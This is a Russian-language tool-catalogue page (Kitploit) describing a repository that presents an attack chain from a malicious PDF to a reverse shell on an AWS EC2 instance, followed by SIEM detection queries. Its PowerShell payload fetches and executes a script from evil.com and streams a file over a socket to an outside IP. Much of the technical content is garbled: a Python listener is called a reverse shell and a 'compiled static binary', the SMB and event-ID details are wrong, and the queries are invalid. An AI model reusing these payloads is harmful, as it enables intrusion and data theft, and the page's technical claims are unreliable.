Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-3456 — Практическая цепочка, начинающаяся с безобидного PDF-файла и заканчивающаяся получением обратного шелла на экземпляре AWS EC2 | Kitploit
Инструменты/GitHubGitHub/mrk336/cve-2021-3456
Повышение привилегийЭксплуатацияЛатеральное перемещениеПост-эксплуатацияФишингКомандование и УправлениеСоциальная инженерияОбучение и ОбразованиеRed TeamingРазработка Полезной НагрузкиЛаборатории и Практика
81 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
mrk336/cve-2021-3456

CVE-2021-3456

Практическая цепочка, начинающаяся с безобидного PDF-файла и заканчивающаяся получением обратного шелла на экземпляре AWS EC2

Репозиторий

CVE-2021-3456

Практическая цепочка атаки, начинающаяся с безобидного PDF-файла и приводящая к получению обратной оболочки на инстансе AWS EC2

Начало: создание полезной нагрузки в PDF

Всё начинается на фронтальной стороне атаки. Используя встроенный объект WScript в PowerShell, мы внедряем скрипт внутрь PDF, который будет доставлен на хост Windows. Полезная нагрузка загружает исполняемый файл с удалённой HTTP-точки и записывает его в локальную файловую систему.

root@kitploit:~
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
  "powershell -NoProfile -ExecutionPolicy Bypass -Command `
   `"$ssh = new-Object System.Net.Sockets.TcpClient; `
    `$stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
    Get-Content -Path C:\\Users\\Admin\\rcmd.py | Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }"
"@

Ключевое преимущество в том, что PDF не требует отдельного шага загрузки: он напрямую передаёт управление PowerShell, который затем запускает следующую фазу цепочки.

PowerShell встречает SMB

После выполнения скрипта из PDF на целевом хосте (10.0.1.5) мы используем PowerShell для открытия SMB-соединения с инстансом EC2 (54.231.12.41) и передаём только что загруженный исполняемый файл через этот сокет. Тот же код может быть выполнен с любой рабочей станции Windows, что даёт атакующему незаметную точку перехода внутри корпоративной LAN.

root@kitploit:~
$ssh = New-Object System.Net.Sockets.TcpClient
$ssh.Connect('54.231.12.41',445)
$stream = $ssh.GetStream()
Invoke-Expression (
  New-Object System.Net.WebClient).DownloadString(
    'https://evil.com/rcmd.py')
Get-Content -Path C:\\Users\\Admin\\rcmd.py |
  Out-File -Encoding binary | % { $stream.Write($_,0,$_.Length) }

SMB-пакет появляется в журналах аудита Windows как стандартное событие (EventID 4624), что позволяет легко заметить его в большинстве SIEM-панелей.

Упрощённая обратная оболочка

Финальный элемент нашей цепочки — небольшая обратная оболочка, написанная на Python. Она ожидает SSH-соединение от EC2 обратно к тому же хосту, выводит отладочную строку в консоль и завершается. После компиляции в rcmd.py она будет автоматически выполнена на предыдущем шаге PowerShell.

root@kitploit:~
#!/usr/bin/env python3
import socket

def main():
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.bind(('0.0.0.0', 22))
    listener.listen(1)

    while True:
        conn, _ = listener.accept()
        data = conn.recv(1024)
        print('[+] Received %d bytes' % len(data))

if __name__ == '__main__':
    main()

Поскольку это статический бинарный файл, работающий нативно на Windows, нет необходимости устанавливать дополнительный агент или службу на целевом хосте.

Стратегия защиты

Командам безопасности следует исходить из того, что компрометация возможна, и строить многоуровневые стратегии обнаружения.

Аномальный трафик

Фильтрация на необычно большие SMB-пакеты с целевого хоста.

root@kitploit:~
index=siem_main sourcetype="netflow:smb"
| where size > med(size) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

Высокое потребление памяти

Потребление памяти бинарным файлом показывает, что это нетривиальный процесс на целевом хосте.

root@kitploit:~
index=siem_main sourcetype="perf:memory"
| where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5"
| stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

Нерабочее время

Красные команды обычно не выполняют атаки в рабочее время из-за опасения, что их скрипт может каким-либо образом насторожить пользователя. Этот запрос проверяет трафик в моменты, когда он был бы неожиданным.

root@kitploit:~
index=siem_main sourcetype="powershell:smbaudit"
| where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00"
| stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"

Отказ от ответственности

Этот проект предназначен только для образовательных и исследовательских целей. Не используйте эти методы в несанкционированных средах.

Скачать инструмент